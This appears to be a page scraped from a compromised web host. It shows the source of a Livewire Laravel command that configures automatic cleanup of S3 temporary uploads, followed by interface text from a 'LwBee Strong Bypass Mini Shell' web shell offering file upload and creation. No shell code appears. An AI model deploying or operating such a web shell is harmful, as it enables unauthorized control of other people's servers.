/home/aloic1/public_html/core/vendor/livewire/livewire/src/Commands/S3CleanupCommand.php
<?php

namespace Livewire\Commands;

use Illuminate\Console\Command;
use Livewire\FileUploadConfiguration;

class S3CleanupCommand extends Command
{
    protected $signature = 'livewire:configure-s3-upload-cleanup';

    protected $description = 'Configure temporary file upload s3 directory to automatically cleanup files older than 24hrs.';

    public function handle()
    {
        if (! FileUploadConfiguration::isUsingS3()) {
            $this->error("Configuration ['livewire.temporary_file_upload.disk'] is not set to a disk with an S3 driver.");
            return;
        }

        $adapter = FileUploadConfiguration::storage()->getDriver()->getAdapter();

        $adapter->getClient()->putBucketLifecycleConfiguration([
            'Bucket' => $adapter->getBucket(),
            'LifecycleConfiguration' => [
                'Rules' => [
                    [
                        'Prefix' => $prefix = FileUploadConfiguration::path(),
                        'Expiration' => [
                            'Days' => 1,
                        ],
                        'Status' => 'Enabled',
                    ],
                ],
            ],
        ]);

        $this->info('Livewire temporary S3 upload directory ['.$prefix.'] set to automatically cleanup files older than 24hrs!');
    }
}
@LwBee Strong Bypass

LwBee Strong Bypass Mini Shell

Upload File

Create New File